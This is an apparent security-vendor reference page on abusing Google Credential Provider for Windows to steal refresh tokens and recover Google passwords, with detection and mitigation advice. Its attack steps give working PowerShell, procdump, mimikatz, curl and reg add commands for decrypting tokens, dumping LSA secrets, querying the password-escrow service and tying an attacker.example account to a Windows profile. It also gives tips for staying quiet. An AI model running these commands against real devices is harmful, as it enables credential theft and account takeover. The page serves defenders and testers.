1. Resources
  2. Identity Threats
  3. Google Workspace

Google Credential Provider for Windows (GCPW) Abuse

Also known as: GCPW abuse, GCPW token theft, GCPW refresh token theft, Google Credential Provider for Windows credential theft

On a Windows device that signs in with GCPW, an attacker with the user's session or local administrator rights can take the user's Google refresh token and recover the Google password.

Platform
Google Workspace
Impact
High
Last updated
Attack difficulty
Medium
Detection difficulty
High
Privileges required: Specific rights or roles
Code execution as the signed-in user for the refresh token; local administrator (SYSTEM) for the stored password and for changing GCPW settings.
What the attacker gains
A Google refresh token that works without the password or 2-Step Verification, the user's cleartext Google password, or a Google account tied to an existing Windows profile.
Threat groups
APT28APT29ShinyHuntersTeamPCPAjax Security TeamAPT3APT33APT37APT38APT41APT42APT5DragonflyEmber Bearand 25 more in MITRE ATT&CKGroups that MITRE ATT&CK records using T1528, T1003.004, T1555.003, T1550.001, T1078.004.

How it works

Google Credential Provider for Windows (GCPW) lets a person sign in to a Windows 10 or 11 device with a Google Workspace account. The user completes a normal Google sign-in on the Windows logon screen, GCPW exchanges the result for Google tokens, and the Google account is associated with a local Windows profile. GCPW requires Chrome on the device and builds on Chrome's sign-in components.

To make this work without asking for the Google password at every step, the device keeps several secrets:

  • A refresh token in the registry. HKCU\SOFTWARE\Google\Accounts holds an entry per Google account, with the email address and a refresh_token value protected with DPAPI for the current user. Any code running as that user can ask DPAPI to decrypt it.
  • Refresh tokens in the Chrome profile. Chrome stores its tokens in the profile's Web Data file, encrypted with a key kept in Local State. A running chrome.exe also holds access and refresh tokens in memory.
  • The Google password, as an LSA secret. For password recovery, GCPW stores the user's password encrypted with a public key from a Google escrow service, in an LSA secret named Chrome-GCPW-<SID>. The matching private key is released by the escrow service to a caller that presents an OAuth token of the user with the https://www.google.com/accounts/OAuthLogin scope. The Chromium source of the credential provider shows the flow.
  • Device settings. HKLM\Software\Google\GCPW holds domains_allowed_to_login (which Google domains may sign in), validity_period_in_days (how long the device may stay offline before an online sign-in is required), enable_multi_user_login, and one Users\<SID> subkey per associated account. Google documents that a Users\<SID> subkey with an email value associates a Google account with an existing Windows profile.

The abuse follows from where those secrets sit:

  • Token theft. Malware or an operator in the user's session reads the refresh token and uses it from another machine. This is the Google counterpart of Primary Refresh Token theft on Entra-joined devices.
  • Password recovery. A local administrator reads the LSA secret, then uses a stolen token of the same user to fetch the private key and decrypt the password.
  • Settings tampering. A local administrator adds a domain to domains_allowed_to_login, or writes an email value under an existing profile's SID, so that a Google account under the attacker's control signs in to that Windows profile.
  • Offline use. A Windows sign-in while the device is offline is checked locally and tells Google nothing. Unless the offline period is limited, a stolen device keeps accepting the last known credentials indefinitely.

Prerequisites

  • A Windows device with GCPW installed and at least one user who has signed in with a Google account.
  • For the registry or Chrome token: code execution in that user's session.
  • For the LSA secret: local administrator rights (the secret is read as SYSTEM), and a valid access token of the same user with the OAuthLogin scope to obtain the decryption key.
  • For settings tampering: local administrator rights to write under HKLM\Software\Google\GCPW. Settings managed from the Admin console override registry values when both are set.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Confirm GCPW and list the accounts on the device

# The GCPW extension process
Get-Process -Name 'gcpw_extension' -ErrorAction SilentlyContinue

# Device settings and the Windows profiles that are tied to Google accounts
Get-ItemProperty 'HKLM:\SOFTWARE\Google\GCPW'
Get-ChildItem   'HKLM:\SOFTWARE\Google\GCPW\Users'

# Google accounts of the current user
Get-ChildItem 'HKCU:\SOFTWARE\Google\Accounts'

WinPEAS runs these checks, reports the configuration values and tries to decrypt the local refresh tokens.

2. Decrypt the refresh token as the signed-in user

Add-Type -AssemblyName System.Security
Get-ChildItem 'HKCU:\SOFTWARE\Google\Accounts' | ForEach-Object {
    $enc = (Get-ItemProperty -Path $_.PSPath -Name 'refresh_token' -ErrorAction SilentlyContinue).refresh_token
    if ($enc) {
        $raw = [System.Security.Cryptography.ProtectedData]::Unprotect(
            $enc, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)
        [System.Text.Encoding]::UTF8.GetString($raw)
    }
}

If the value is missing, the token can still be found in the memory of the user's Chrome processes. A full dump is searched for the prefixes ya29. (access token) and 1// (refresh token):

Get-Process -Name 'chrome' | ForEach-Object {
    .\procdump.exe -accepteula -ma $_.Id "C:\Windows\Temp\chrome_$($_.Id).dmp"
}
Get-ChildItem C:\Windows\Temp\chrome_*.dmp | ForEach-Object {
    .\strings.exe -accepteula -n 50 -nobanner $_.FullName | Select-String 'ya29\.|1//'
}

3. Exchange the refresh token for an access token

The token belongs to the OAuth client that Chrome and GCPW use, so the request carries that client's ID and secret, which public research has published.

curl -s https://oauth2.googleapis.com/token \
  --data "client_id=<GCPW_CLIENT_ID>" \
  --data "client_secret=<GCPW_CLIENT_SECRET>" \
  --data "grant_type=refresh_token" \
  --data "refresh_token=<REFRESH_TOKEN>"

A scope parameter can be added to ask for a specific scope. Google only issues scopes that the client and the original grant allow, and public testing of this client found Drive, Calendar, Sheets, Cloud Storage, Vault and Directory user scopes among them. The access token is then an ordinary bearer token:

# Who is this
curl -s -H "Authorization: Bearer $ACCESS_TOKEN" https://openidconnect.googleapis.com/v1/userinfo

# List the user's Drive files
curl -s -H "Authorization: Bearer $ACCESS_TOKEN" \
  "https://www.googleapis.com/drive/v3/files?pageSize=10&fields=files(id,name,modifiedTime)"

4. Recover the Google password (local administrator)

mimikatz.exe privilege::debug token::elevate lsadump::secrets exit

The output contains a secret named Chrome-GCPW-<SID> with the encrypted password and a resource ID. With an access token of the same user that carries the https://www.google.com/accounts/OAuthLogin scope, the private key for that resource ID is requested from the escrow service, and the password is decrypted with it:

curl -s -H "Authorization: Bearer $ACCESS_TOKEN" \
  "https://devicepasswordescrowforwindows-pa.googleapis.com/v1/getprivatekey/<RESOURCE_ID>"

5. Variant: tie another Google account to the device

With local administrator rights, the documented registry settings can be turned around:

:: Allow a second Google domain to sign in to this device
reg add "HKLM\Software\Google\GCPW" /v domains_allowed_to_login /t REG_SZ /d "corp.example.com,attacker.example" /f

:: Associate a Google account with an existing Windows profile (by SID)
reg add "HKLM\Software\Google\GCPW\Users\S-1-5-21-0-0-0-1001" /v email /t REG_SZ /d "mallory@attacker.example" /f

The next Google sign-in with that account opens the associated Windows profile. Where the Admin console manages domains_allowed_to_login, the console value wins.

Impact

  • Account takeover without the password. The refresh token gives API access to the user's Google data from anywhere, with no password prompt and no 2-Step Verification. It is credential theft that survives until the grant is revoked. Google's documented expiry conditions include revocation by the user, six months without use, and, for tokens that contain Gmail scopes, a password change.
  • The password itself. The recovered password opens every sign-in that accepts the Google password, and stays valid until it is changed.
  • Movement from the endpoint to the cloud. A compromised workstation becomes access to Drive, Gmail and, when the user is an administrator, the Admin SDK. That is lateral movement across the boundary between the device and the tenant.
  • A persistent way into the device. An added domain or account association lets the attacker come back through the Windows logon screen. If the device assigns the Local Administrator account type to GCPW users, the associated account is added to the local administrators group.

OPSEC and artifacts

  • Reading the registry value instead of dumping Chrome. A DPAPI call from the user's own session looks like normal application behaviour and writes no security event. Dumping chrome.exe is louder: with process creation auditing it leaves event 4688 for procdump.exe and dump files on disk.
  • Reading LSA secrets. Mimikatz needs SYSTEM, so the operator leaves the traces of the elevation and of the tool itself. The same access exposes the other secrets described in SAM, LSA secrets and cached credentials.
  • Using the token from the attacker's own machine. No sign-in happens, so there is no login event with a new device or location. What remains is API activity under the user's identity from an unfamiliar address, in the Workspace audit logs of the products that were touched.
  • Signing in with the recovered password. This is a normal Google sign-in from a new device, which Google may challenge or flag as a suspicious login.
  • Settings tampering. A registry write under HKLM\Software\Google\GCPW is recorded as event 4657 when registry auditing with a SACL covers the key. The next sign-in of the associated account is a Windows logon (event 4624), and an addition to the local administrators group is event 4732.
  • Offline sign-ins leave Windows logon events on the device and nothing in Google.

Detection

  • Endpoint telemetry. Alert on process dumps of chrome.exe, on LSA secret dumping, and on any process other than Chrome or GCPW reading HKCU\SOFTWARE\Google\Accounts or the Chrome profile's Web Data and Local State files. Deleting or changing the th value under HKLM\SOFTWARE\Google\GCPW\Users\<SID> forces the next sign-in to authenticate again and rewrites the token to the registry, so a change there is a preparation step worth an alert.
  • GCPW settings. Audit the HKLM\Software\Google\GCPW key and alert on changes to domains_allowed_to_login and on new Users\<SID> subkeys that were not created by a GCPW sign-in. Compare the effective values on devices with the approved configuration.
  • Local privilege. A GCPW-associated account that joins the local administrators group outside the device management policy needs review.
  • Google side. Review sign-ins that Google flags, with the suspicious sign-in rule, and look for Drive, Gmail or Admin SDK activity of a user from addresses that never appear in that user's login events. A token used far from the device it was issued on is the main signal the tenant can see.
  • Timeline checks. A Windows logon during a period with no Google login event is expected for an offline sign-in. Establish the outage from network data before treating it as one.

Mitigation

  • Keep users out of the local administrators group. In the Windows settings of the Admin console, turn on the management of local administrative access and select the Standard User account type. Without SYSTEM rights the LSA secret and the device settings are out of reach.
  • Limit offline sign-in. Set the offline access period in the Admin console, or validity_period_in_days in the registry, so that a stolen or disconnected device stops accepting sign-ins after a fixed number of days.
  • Manage GCPW settings centrally. Set the allowed domains in the Admin console, where they override local registry values, and restrict domains_allowed_to_login to the organization's own domains. Set enable_multi_user_login to 0 on devices that have one user.
  • Shorten the life of stolen tokens. Use Google session controls and context-aware access for sensitive apps, and sign users out and revoke their app grants when a device is reported compromised. Changing the password alone does not revoke every token.
  • Treat a compromised GCPW device as a compromised Google account. Reset the user's password, revoke tokens and sign-in cookies, and review the account's recent activity in the Workspace audit logs.
  • Protect the endpoint. Endpoint detection for credential dumping tools and for access to browser credential stores covers the steps that the tenant cannot see.

Detection rules for this attack

Log events to collect

FAQ

What can an attacker steal from a device that uses GCPW?

The signed-in user's Google refresh token, which is kept in the user's registry hive and in the Chrome profile, and the user's Google password, which GCPW keeps in encrypted form as an LSA secret named Chrome-GCPW-. The token needs only the user's session. The password needs SYSTEM rights and a valid token.

Does 2-Step Verification stop a stolen GCPW refresh token?

No. The token is the result of a sign-in that already passed 2-Step Verification. Exchanging it for an access token at Google's token endpoint asks for no password and no second factor. It stops working when the grant is revoked or when one of Google's documented expiry conditions applies.

Is an offline Windows sign-in with GCPW visible in Google's logs?

No. An offline sign-in is checked against what the device already holds and produces no Google login event and no new token. How long a device may stay offline is set by the offline access setting or the validity_period_in_days registry value; without either, offline sign-in is allowed indefinitely.

Which GCPW settings should defenders watch for tampering?

The values under HKLM\Software\Google\GCPW: domains_allowed_to_login decides which Google domains may sign in to the device, and each Users<SID> subkey with an email value ties a Google account to a Windows profile. A new domain or a new association gives someone else a way to sign in.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.